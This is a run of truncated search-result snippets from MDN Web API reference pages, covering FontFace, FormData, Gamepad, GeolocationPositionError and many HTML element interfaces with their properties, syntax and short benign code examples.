FontFace.stretch - Web APIs
Web › API › FontFace › stretch
the stretch property of the fontface interface retrieves or sets how the font stretches. it is equivalent to the font-stretch descriptor. syntax var stretchdescriptor = fontface.stretch; fontface.stretch = stretchdescriptor; value a cssomstring containing a descriptor as it would be defined in a style sheet's @font-face rule. specifications specification status comment css font loading module level 3the definition of 'stretch' in that specification. working draft initial definition. ...
FontFace.style - Web APIs
Web › API › FontFace › style
the style property of the fontface interface retrieves or sets the font's style. it is equivalent to the font-style descriptor. syntax var style = fontface.style; fontface.style = value; value a cssomstring containing the descriptors defined in the style sheet's @font-face rule. specifications specification status comment css font loading module level 3the definition of 'style' in that specification. working draft initial definition. ...
FontFace.unicodeRange - Web APIs
the unicoderange property of the fontface interface retrieves or sets the range of unicode codepoints encompassing the font. it is equivalent to the unicode-range descriptor. syntax var unicoderangedescriptor = fontface.unicoderange; fontface.unicoderange = unicoderangedescriptor; value a cssomstring containing a descriptor as it would appear in a style sheet's @font-face rule. specifications specification status comment css font loading module level 3the definition of 'unicoderange' in that specification. working draft initial definition. ...
FontFace.variant - Web APIs
Web › API › FontFace › variant
the variant property of the fontface interface programatically retrieves or sets font variant values. it is equivalent to the font-variant descriptor. syntax var variantsubproperty = fontface.variant; fontface.variant = variantsubproperty; value a cssomstring containing a descriptor as it would be defined in a style sheet's @font-face rule. specifications specification status comment css font loading module level 3the definition of 'variant' in that specification. working draft initial definition. ...
FontFace.weight - Web APIs
Web › API › FontFace › weight
the weight property of the fontface interface retrieves or sets the weight of the font. it is equivalent to the font-weight descriptor. syntax var weightdescriptor = fontface.weight; fontface.weight = weightdescriptor; value a cssomstring containing a descriptor as it would be defined in a style sheet's @font-face rule. specifications specification status comment css font loading module level 3the definition of 'weight' in that specification. working draft initial definition. ...
FormData - Web APIs
Web › API › FormData
the formdata interface provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method. it uses the same format a form would use if the encoding type were set to "multipart/form-data". you can also pass it directly to the urlsearchparams constructor if you want to generate query parameters in the way a <form> would do if it were using simple get submission. an object implementing formdata can directly be used in a for...of structure, instead of entries(): for (var p of myformdata) is equivalent to for (var p of myformdata.entries()). note: this feature is available in web workers. constructor formdata() creates a new formdata object. methods formdata.append() appends a...
FormDataEvent() - Web APIs
formeventinit optional a formeventinit dictionary, which can take the following optional fields: bubbles: a boolean indicating whether the event bubbles. the default is false. cancelable: a boolean indicating whether the event can be cancelled. the default is false. composed: a boolean indicating whether the event will trigger listeners outside of a shadow root (see event.composed for more details). the default is false. ...
GainNode.gain - Web APIs
Web › API › GainNode › gain
mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute. if you still hear someth...
GainNode - Web APIs
Web › API › GainNode
mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute. if you still hear someth...
Gamepad.id - Web APIs
Web › API › Gamepad › id
ed by dashes (-): two 4-digit hexadecimal strings containing the usb vendor and product id of the controller the name of the controller as provided by the driver. for example, a ps2 controller returned 810-3-usb gamepad. this information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user. syntax readonly attribute domstring id; example window.addeventlistener("gamepadconnected", function() { var gp = navigator.getgamepads()[0]; gamepadinfo.innerhtml = "gamepad connected at index " + gp.index + ": " + gp.id + "."; }); value a string. specifications specification status comment gamepadthe definition of 'gamepad.id' in that specification. working draft initial defi...
Gamepad.mapping - Web APIs
Web › API › Gamepad › mapping
the gamepad.mapping property of the gamepad interface returns a string indicating whether the browser has remapped the controls on the device to a known layout. currently there is only one supported known layout–the standard gamepad. if the browser is able to map controls on the device to that layout the mapping property will be set to the string standard. syntax readonly attribute domstring mapping; example var gp = navigator.getgamepads()[0]; console.log(gp.mapping); value a string. specifications specification status comment gamepadthe definition of 'gamepad.mapping' in that specification. working draft initial definition ...
Gamepad - Web APIs
Web › API › Gamepad
tgamepads() method. properties gamepad.axes read only an array representing the controls with axes present on the device (e.g. analog thumb sticks). gamepad.buttons read only an array of gamepadbutton objects representing the buttons present on the device. gamepad.connected read only a boolean indicating whether the gamepad is still connected to the system. gamepad.id read only a domstring containing identifying information about the controller. gamepad.index read only an integer that is auto-incremented to be unique for each device currently connected to the system. gamepad.mapping read only a string indicating whether the browser has remapped the controls on the device to a known layout. gamepad.timestamp read only a domhighrestimestamp representing the last time th...
GamepadEvent() - Web APIs
options optional options are as follows: gamepad: an instance of gamepad describing the gamepad associated with the event. ...
Gamepad API - Web APIs
the gamepad api is a way for developers to access and respond to signals from gamepads and other game controllers in a simple, consistent way. it contains three interfaces, two events and one specialist function, to respond to gamepads being connected and disconnected, and to access other information about the gamepads themselves, and what buttons and other controls are currently being pressed. interfaces gamepad represents a gamepad/controller connected to the computer. gamepadbutton represents a button on one of the connected controllers. gamepadevent the event object representing events fired that are related to gamepads. experimental gamepad extensions gamepadhapticactuator represents hardware in the controller designed to provide haptic feedback to the user (if available...
GeolocationPositionError.message - Web APIs
the geolocationpositionerror.message read-only property returns a human-readable domstring describing the details of the error. syntax let msg = geolocationpositionerrorinstance.message value a human-readable domstring describing the details of the error. specifications specification status comment geolocation apithe definition of 'geolocationpositionerror.message' in that specification. recommendation initial definition ...
GeolocationPositionError - Web APIs
ilable the acquisition of the geolocation failed because at least one internal source of position returned an internal error. 3 timeout the time allowed to acquire the geolocation, defined by positionoptions.timeout information was reached before the information was obtained. geolocationpositionerror.message read only secure context returns a human-readable domstring describing the details of the error. specifications note that this is primarily intended for debugging use and not to be shown directly in a user interface. methods the geolocationpositionerror interface neither implements nor inherits any method. specifications specification status comment geolocation apithe definition of 'geolocationpositionerror' in that s...
GlobalEventHandlers.oncontextmenu - Web APIs
(e) => { e.preventdefault(); } result pausing an animation this example pauses a spinning shape whenever you open the context menu. ...
GlobalEventHandlers.onpointerdown - Web APIs
</div> css the css simply sets up the appearance of the target, and doesn't affect its functionality at all. #target { width: 400px; height: 30px; text-align: center; font: 16px "open sans", "helvetica", sans-serif; color: white; background-color: blue; border: 2px solid darkblue; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } result the resulting output is shown below. try tapping, clicking, or touching the box and see what happens. for full effect, try it with a variety of pointer types. specifications specification status comment pointer events – level 2the definition of 'onpointerdown' in that specification. recommendation non-stable version p...
GlobalEventHandlers.onwheel - Web APIs
syntax target.onwheel = functionref; value functionref is a function name or a function expression. the function receives a wheelevent object as its sole argument. examples this example shows how to scale an element using the mouse (or other pointing device) wheel. ...
HTMLAnchorElement.download - Web APIs
the value, if any, specifies the default file name for use in labeling the resource in a local file system. if the name is not a valid file name in the underlying os, the browser will adjust it. note: this value might not be used for download. this value cannot be used to determine whether the download will occur. syntax var dnload = anchorelt.download; anchorelt.download = dnload; specifications specification status comment html living standardthe definition of 'download' in that specification. ...
HTMLAnchorElement.rel - Web APIs
syntax var relstr = anchorelt.rel; anchorelt.rel = relstr; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { alert("rel: " + anchors[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification. ...
HTMLAreaElement.rel - Web APIs
the htmlareaelement.rel property reflects the rel attribute. it is a domstring containing a space-separated list of link types indicating the relationship between the resource represented by the <area> element and the current document. syntax var relstr = areaelt.rel; areaelt.rel = relstr; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { alert("rel: " + areas[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification. living standard initial definition ...
Audio() - Web APIs
the audio() constructor creates and returns a new htmlaudioelement which can be either attached to a document for the user to interact with and/or listen to, or can be used offscreen to manage and play audio. syntax audioobj = new audio(url); parameters url optional an optional domstring containing the url of an audio file to be associated with the new audio element. return value a new htmlaudioelement object, configured to be used for playing back the audio from the file specified by url.the new object's preload property is set to auto and its src property is set to the specified url or null if no url is given. if a url is specified, the browser begins to asynchronously load the media resource before returning the new object. usage notes you can also use other element-creati...
HTMLBRElement - Web APIs
ll="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlbrelement.clear is a domstring indicating the flow of text around floating objects. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlbrelement' in that specification. living standard no change from html5 html5the definition of 'htmlbrelement' in that specification. ...
HTMLBaseElement - Web APIs
l="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbaseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlbaseelement.href is a domstring that reflects the href html attribute, containing a base url for relative urls in the document. htmlbaseelement.target is a domstring that reflects the target html attribute, containing a default target browsing context or frame for elements that do not have a target reference specified. methods no specific method; inherits attributes from its parent, htmlelement. specifications ...
HTMLCanvasElement.getContext() - Web APIs
ame drawing context instance as was returned the last time the method was invoked with the same contexttype argument. to get a different drawing context object you need to pass a different contexttype or call the method on a different canvas element. syntax var ctx = canvas.getcontext(contexttype); var ctx = canvas.getcontext(contexttype, contextattributes); parameters contexttype is a domstring containing the context identifier defining the drawing context associated to the canvas. possible values are: "2d", leading to the creation of a canvasrenderingcontext2d object representing a two-dimensional rendering context. "webgl" (or "experimental-webgl") which will create a webglrenderingcontext object representing a three-dimensional rendering context. this context is only avail...
HTMLCanvasElement.mozFetchAsStream() - Web APIs
the htmlcanvaselement.mozfetchasstream() internal method used to create a new input stream that, when ready, would provide the contents of the canvas as image data. however, this non-standard and internal method has been removed. syntax void canvas.mozfetchasstream(callback, type); parameters callback an nsiinputstreamcallback. type optional a domstring indicating the image format. the default type is image/png. return value none. examples save to disk with mozfetchasstream (chrome context only) this technique also converts it to ico, however it will not work in windows xp as winxp cannot convert from png to ico. it saves to the desktop it uses fileutils.jsm. also uses netutil.jsm var canvas = document.getelementbyid('canvas'); var d = canvas.width; ctx = canvas.
HTMLCanvasElement.toBlob() - Web APIs
cified, the image type is image/png. the created image is in a resolution of 96dpi. the third argument is used when creating images using lossy compression (namely, image/jpeg) to specify the quality of the output. syntax canvas.toblob(callback, mimetype, qualityargument); parameters callback a callback function with the resulting blob object as a single argument. mimetype optional a domstring indicating the image format. the default type is image/png. qualityargument optional a number between 0 and 1 indicating image quality if the requested type is image/jpeg or image/webp. if this argument is anything else, the default values 0.92 and 0.80 are used for image/jpeg and image/webp respectively. other arguments are ignored. return value none. exceptions securityerror the ...
HTMLContentElement.select - Web APIs
the htmlcontentelement.select property reflects the select attribute. it is a domstring containing a space-separated list of css selectors that select the content to insert in place of the <content> element. syntax object.select = "cssselector cssselector ..."; example // select <h1> elements and elements with class="error" mycontentobject.select = "h1 .error"; specifications this feature is no longer defined by any standards. ...
HTMLContentElement - Web APIs
the value is a comma-separated list of css selectors that select the content to insert in place of the <content> element. methods this interface inherits the methods of htmlelement. ...
HTMLDListElement - Web APIs
xt x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldlistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmldlistelement.compact is a boolean indicating that spacing between list items should be reduced. methods no specific methods; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmldlistelement' in that specification. living standard html5the definition of 'htmldlistelement' in that specification. recommendation no change from document object m...
HTMLDataElement - Web APIs
="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmldataelement.value is a domstring reflecting the value html attribute, containing a machine-readable form of the element's value. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmldataelement' in that specification. living standard html5the definition of 'htmldataelemen...
HTMLDialogElement.close() - Web APIs
return value void. examples the following example shows a simple button that, when clicked, opens a <dialog> containing a form via the showmodal() method. from there you can click the cancel button to close the dialog (via the htmldialogelement.close() method), or submit the form via the submit button. ...
HTMLDialogElement.returnValue - Web APIs
examples the following example displays a button to open a <dialog> containing a form via the showmodal() method. from there, either button will close the dialog. ...
HTMLDialogElement - Web APIs
" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldialogelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmldialogelement.open a boolean reflecting the open html attribute, indicating whether the dialog is available for interaction. htmldialogelement.returnvalue a domstring that sets or returns the return value for the dialog. methods inherits methods from its parent, htmlelement. htmldialogelement.close() closes the dialog. an optional domstring may be passed as an argument, updating the returnvalue of the the dialog. htmldialogelement.show() displays the dialog modelessly, i.e. still allowing interaction with content outside of the dialog. htmldialo...
HTMLDivElement - Web APIs
="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldivelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmldivelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", "justify", and "center". methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmldivelement' i...
HTMLElement.dir - Web APIs
Web › API › HTMLElement › dir
arabic languages and hebrew are typical languages using the rtl directionality. an image can have its dir property set to "rtl" in which case the html attributes title and alt will be formatted and defined as "rtl". when a table has its dir set to "rtl", the column order is arranged from right to left. ...
HTMLElement.innerText - Web APIs
they highlighted the contents of the element with the cursor and then copied it to the clipboard. note: innertext is easily confused with node.textcontent, but there are important differences between the two. basically, innertext is aware of the rendered appearance of text, while textcontent is not. syntax const renderedtext = htmlelement.innertext htmlelement.innertext = string value a domstring representing the rendered text content of an element. if the element itself is not being rendered (e.g detached from the document or is hidden from view), the returned value is the same as the node.textcontent property. example this example compares innertext with node.textcontent. note how innertext is aware of things like <br> elements, and ignores hidden elements. html <h3>source elem...
HTMLElement.offsetHeight - Web APIs
able elements may be completely or partly invisible, depending on the scrolltop setting of the scrollable container. specification specification status comment css object model (cssom) view modulethe definition of 'offsetheight' in that specification. working draft notes offsetheight is a property of the dhtml object model which was first introduced by msie. it is sometimes referred to as an element's physical/graphical dimensions, or an element's border-box height. ...
HTMLElement.offsetWidth - Web APIs
will round the value to an integer. if you need a fractional value, use element.getboundingclientrect(). example specification specification status comment css object model (cssom) view modulethe definition of 'offsetwidth' in that specification. working draft notes offsetwidth is a property of the dhtml object model which was first introduced by msie. it is sometimes referred to as an element's physical/graphical dimensions, or an element's border-box width. ...
HTMLFontElement.color - Web APIs
the obsolete htmlfontelement.color property is a domstring that reflects the color html attribute, containing either a named color or a color specified in the hexadecimal #rrggbb format. the format of the string must follow one of the following html microsyntaxes: microsyntax description examples valid name color string nameofcolor (case insensitive) green green green valid hex color string in rgb format: #rrggbb #008000 rgb using decimal values rgb(x,x,x) (x in 0-255 range) rgb(0,128,0) syntax colorstring = fontobj.color; fontobj.color = colorstring; examples // assumes there is <font id="f"> element in the html var f = document.getelementbyid("f"); f.color = "green"; specifications the <fon...
HTMLFontElement.face - Web APIs
the document text, in the default style, is rendered as the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system. ...
HTMLFontElement.size - Web APIs
it contains either an integer number in the range of 1-7 or a relative value to increase/decrease the value of the size attribute of the <basefont> element. ...
HTMLFontElement - Web APIs
implements the document object model (dom) representation of the font element. the html font element <font> defines the font size, font face and color of text. properties inherits properties from its parent, htmlelement. htmlfontelement.color is a domstring that reflects the color html attribute, containing either a named color or a color specified in the hexadecimal #rrggbb format. htmlfontelement.face is a domstring that reflects the face html attribute, containing a comma-separated list of one or more font names. htmlfontelement.size is a domstring that reflects the size html attribute, containing either a font size number ranging from 1 to 7 or a relative size to the size attribute of the <basefont> element, for example -2 or +1. methods no specific method; inherits metho...
HTMLFormElement.acceptCharset - Web APIs
the htmlformelement.acceptcharset property represents a list of the supported character encodings for the given <form> element. this list can be comma-separated or space-separated. syntax var string = form.acceptcharset; form.acceptcharset = string; example inputs = document.forms['myform'].acceptcharset; specifications specification status comment html living standardthe definition of 'htmlformelement: acceptcharset' in that specification. living standard ...
HTMLFormElement.length - Web APIs
ncluded by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms. syntax numcontrols = form.length; value numcontrols is the number of form controls within the <form>. this is the same as the number of the elements in the htmlformcontrolscollection returned by the elements property. example if (document.getelementbyid('form1').length > 1) { // more than one form control here } specifications specification status comment ...
HTMLFormElement.method - Web APIs
the htmlformelement.method property represents the http method used to submit the <form>. unless explicitly specified, the default method is 'get'. syntax var string = form.method; form.method = string; example document.forms['myform'].method = 'post'; const formelement = document.createelement("form"); // create a form document.body.appendchild(formelement); console.log(formelement.method); // 'get' specifications specification status comment html living standardthe definition of 'htmlformelement: method' in that specification. living standard ...
HTMLFormElement.reportValidity() - Web APIs
the htmlformelement.reportvalidity() method returns true if the element's child controls satisfy their validation constraints. when false is returned, cancelable invalid events are fired for each invalid child and validation problems are reported to the user. syntax htmlformelement.reportvalidity() return value boolean example document.forms['myform'].addeventlistener('submit', function() { document.forms['myform'].reportvalidity(); }, false); specifications specification status comment html living standardthe definition of 'htmlformelement.reportvalidity()' in that specification. living standard html 5.1the definition of 'htmlformelement.reportvalidity()' in that specification. recommendation initial definition ...
HTMLFormElement.submit() - Web APIs
and does not have these differences. if a form control (such as a submit button) has a name or id of submit, this method will mask the form's submit method. <input> with attribute type="submit" will not be submitted with the form when using htmlformelement.submit(), but it would be submitted when you do it with original html form submit. syntax htmlformelement.submit() example document.forms["myform"].submit(); specifications specification status comment html living standardthe definition of 'htmlformelement: submit' in that specification. living standard ...
HTMLFrameSetElement - Web APIs
the htmlframesetelement interface provides special properties (beyond those of the regular htmlelement interface they also inherit) for manipulating <frameset> elements. properties inherits properties from its parent, htmlelement and from windoweventhandlers. htmlframesetelement.cols is a domstring structured as a comma-seperated list specifing the width of each column inside a frameset. htmlframesetelement.rows is a domstring structured as a comma-seperated list specifing the height of each column inside a frameset. methods no specific method; inherits methods from its parent, htmlelement and from windoweventhandlers. event handlers no specific event handler; inherits event handlers from its parent, htmlelement and from windoweventhandlers. windoweventhandlers.onafter...
HTMLHeadElement - Web APIs
4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlheadelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlheadelement.profile is a domstring representing the uris of one or more metadata profiles (white space separated). methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlheadelement' in that specification. living standard html 5.1the definition of 'htmlheadelement' in that sp...
HTMLHeadingElement - Web APIs
8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlheadingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlheadingelement.align is a domstring representing an enumerated attribute indicating alignment of the heading with respect to the surrounding context. the possible values are "left", "right", "justify", and "center". methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlheadingelement' in that...
HTMLHtmlElement - Web APIs
4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhtmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlhtmlelement.version is a domstring representing the version of the html document type definition (dtd) that governs this document. this property should not be used any more as it is non-conforming. simply omit it. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlhtmlelement' in that spe...
HTMLInputElement: invalid event - Web APIs
when a form is submitted, invalid events are fired at each form control that is invalid. ...
HTMLInputElement.setSelectionRange() - Web APIs
ou can specify the direction in which selection should be considered to have occurred. this lets you indicate, for example, that the selection was set by the user clicking and dragging from the end of the selected text toward the beginning. this method updates the htmlinputelement.selectionstart, selectionend, and selectiondirection properties in one call. note that accordingly to the whatwg forms spec selectionstart, selectionend properties and setselectionrange method apply only to inputs of types text, search, url, tel and password. chrome, starting from version 33, throws an exception while accessing those properties and method on the rest of input types. for example, on input of type number: "failed to read the 'selectionstart' property from 'htmlinputelement': the input element's typ...
HTMLIsIndexElement - Web APIs
ved in html5. this latest specification requires that this element implements htmlunknownelement rather than htmlisindexelement. properties inherits properties from its parent, htmlelement. htmlisindexelement.form read only is a htmlformelement representing the <form> element it belongs too. it can have the null value, if <isindex> isn't part of any form. htmlisindexelement.prompt is a domstring representing a text to be prompted for the field. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html5the definition of 'htmlisindexelement' in that specification. recommendation removed. <isindex> must now implement htmlunknownelement. document object model (dom) level 2 html ...
HTMLLIElement - Web APIs
ill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmllielement.type is a domstring representing the type of the bullets, "disc", "square" or "circle". as the standard way of defining the list type is via the css list-style-type property, use the cssom methods to set it via a script. htmllielement.value is a long indicating the ordinal position of the list element inside a given <ol>. it reflects the value attribute of the html <li> element, and can be smaller than 0. if ...
HTMLLabelElement.htmlFor - Web APIs
the htmllabelelement.htmlfor property reflects the value of the for content property. that means that this script-accessible property is used to set and read the value of the content property for, which is the id of the label's associated control element. syntax controlid = htmllabelelement.htmlfor htmllabelelement.htmlfor = newid value a domstring which contains the id string of the element which is associated with the control. if this property has a value, the htmllabelelement.control property must refer to the same control. specifications specification status comment html living standardthe definition of 'htmlfor' in that specification. living standard initial definition ...
HTMLLegendElement - Web APIs
all;} properties inherits properties from its parent, htmlelement. htmllegendelement.form read only is a htmlformelement representing the form that this legend belongs to. if the legend has a fieldset element as its parent, then this attribute returns the same value as the form attribute on the parent fieldset element. otherwise, it returns null. htmllegendelement.accesskey is a domstring representing a single-character access key to give access to the element. htmllegendelement.align is a domstring representing the alignment relative to the form set methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmllegendelement' in that specificat...
HTMLLinkElement.referrerPolicy - Web APIs
the htmllinkelement.referrerpolicy property reflect the html referrerpolicy attribute of the <link> element defining which referrer is sent when fetching the resource. see the http referrer-policy header for details. syntax domstring htmllinkelement.referrerpolicy example var links = document.getelementsbytagname("link"); links[0].referrerpolicy; // "no-referrer" specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation ...
HTMLLinkElement.rel - Web APIs
the most common use of this attribute is to specify a link to an external style sheet: the property is set to stylesheet, and the href attribute is set to the url of an external style sheet to format the page. ...
HTMLMapElement - Web APIs
ill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmapelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlmapelement.name is a domstring representing the <map> element for referencing it other context. if the id attribute is set, this must have the same value; and it cannot be null or empty. htmlmapelement.areas read only is a live htmlcollection representing the <area> elements associated to this <map>. methods no specific method; inherits methods from its parent, htmlelement . specifications specification ...
HTMLMediaElement.canPlayType() - Web APIs
the htmlmediaelement method canplaytype() reports how likely it is that the current browser will be able to play media of a given mime type. note: this feature is not available in web workers. syntax canplayresponse = audioorvideo.canplaytype(mediatype); parameters mediatype a domstring containing the mime type of the media. return value a domstring indicating how likely it is that the media can be played. the string will be one of the following values: probably media of the type indicated by the mediatype parameter is probably playable on this device. maybe not enough information is available to determine for sure whether or not the media will play until playback is actually attempted. "" (empty string) media of the given type definitely can't be played on the current d...
HTMLMediaElement.currentSrc - Web APIs
the htmlmediaelement.currentsrc property contains the absolute url of the chosen media resource. this could happen, for example, if the web server selects a media file based on the resolution of the user's display. the value is an empty string if the networkstate property is empty. syntax var mediaurl = audioobject.currentsrc; value a domstring object containing the absolute url of the chosen media source; this may be an empty string if networkstate is empty; otherwise, it will be one of the resources listed by the htmlsourceelement contained within the media element, or the value or src if no <source> element is provided. example var obj = document.createelement('video'); console.log(obj.currentsrc); // "" specifications specification status comment html li...
HTMLMediaElement.duration - Web APIs
the read-only htmlmediaelement property duration indicates the length of the element's media in seconds. syntax myduration = htmlmediaelement.duration value a double-precision floating-point value indicating the duration of the media in seconds. if no media data is available, the value nan is returned. if the element's media doesn't have a known duration—such as for live media streams—the value of duration is +infinity. examples var obj = document.createelement('video'); console.log(obj.duration); // nan specifications specification status comment html living standardthe definition of 'htmlmediaelement.duration' in that specification. living standard html5the definition of 'htmlmediaelement.duration' in that specification. recommendati...
HTMLMediaElement: ended event - Web APIs
element (<audio> and <video>) fire ended when playback of the media reaches the end of the media. bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onended specification html5 media this event is also defined in media capture and streams and web audio api examples these examples add an event listener for the htmlmediaelement's ended event, then post a message when that event handler has reacted to the event firing. using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ended', (event) => { console.log('video stopped either because 1) it was over, ' + 'or 2) no further data i...
HTMLMediaElement.mediaGroup - Web APIs
the htmlmediaelement.mediagroup property reflects the mediagroup html attribute, which indicates the name of the group of elements it belongs to. a group of media elements shares a common controller. syntax ... value a domstring. example ... specifications specification status comment html5the definition of 'htmlmediaelement.mediagroup' in that specification. recommendation initial definition. ...
HTMLMediaElement.seekToNextFrame() - Web APIs
event occurs, followed immediately by an ended event. if there is no video on the media element, or the media isn't seekable, nothing happens. syntax var seekcompletepromise = htmlmediaelement.seektonextframe(); htmlmediaelement.seektonextframe(); return value a promise which is fulfilled once the seek operation has completed. firefox 49 returns undefined instead of a promise, and performs the seek operation synchronously. specifications not part of any specification. ...
HTMLMediaElement.sinkId - Web APIs
if it is using the user agent default, it returns an empty string. this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-communications. syntax var sinkid = htmlmediaelement.sinkid specifications specification status comment audio output devices apithe definition of 'sinkid' in that specification. candidate recommendation initial definition. ...
HTMLMediaElement: timeupdate event - Web APIs
user agents are encouraged to vary the frequency of the event based on the system load and the average cost of processing the event each time, so that the ui updates are not any more frequent than the user agent can comfortably handle while decoding the video. ...
HTMLMetaElement - Web APIs
oke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmetaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. name type description content domstring gets or sets the value of meta-data property. httpequiv domstring gets or sets the name of an http response header to define for a document. name domstring gets or sets the name of a meta-data property to define for a document. scheme domstring gets or sets the name of a scheme used to interpret the value of a meta-data property. metho...
HTMLModElement - Web APIs
ill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmodelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlmodelement.cite is a domstring reflecting the cite html attribute, containing a uri of a resource explaining the change. htmlmodelement.datetime is a domstring reflecting the datetime html attribute, containing a date-and-time string representing a timestamp for the change. specifications specification status comment html living standardthe definition of 'htmlanchorelement' in that specificati...
HTMLObjectElement.data - Web APIs
the data property of the htmlobjectelement interface returns a domstring that reflects the data html attribute, specifying the address of a resource's data. syntax var data = htmlobjectelement.data; htmlobjectelement.data; value a domstring. specifications specification status comment html living standardthe definition of 'data' in that specification. living standard initial definition. ...
HTMLObjectElement.height - Web APIs
the height property of the htmlobjectelement interface returns a domstring that reflects the height html attribute, specifying the displayed height of the resource in css pixels. syntax var string = htmlobjectelement.height; htmlobjectelement.height = string; value a domstring. specifications specification status comment html living standardthe definition of 'height' in that specification. living standard initial definition. ...
HTMLObjectElement.name - Web APIs
the name property of the htmlobjectelement interface returns a domstring that reflects the name html attribute, specifying the name of the browsing context. syntax var string = htmlobjectelement.name; htmlobjectelement.name = string; value a domstring. specifications specification status comment html living standardthe definition of 'name' in that specification. living standard initial definition. ...
HTMLObjectElement.type - Web APIs
the type property of the htmlobjectelement interface returns a domstring that reflects the type html attribute, specifying the mime type of the resource. syntax var string = htmlobjectelement.type htmlobjectelement.type = string; value a domstring. specifications specification status comment html living standardthe definition of 'type' in that specification. living standard initial definition. ...
HTMLObjectElement.useMap - Web APIs
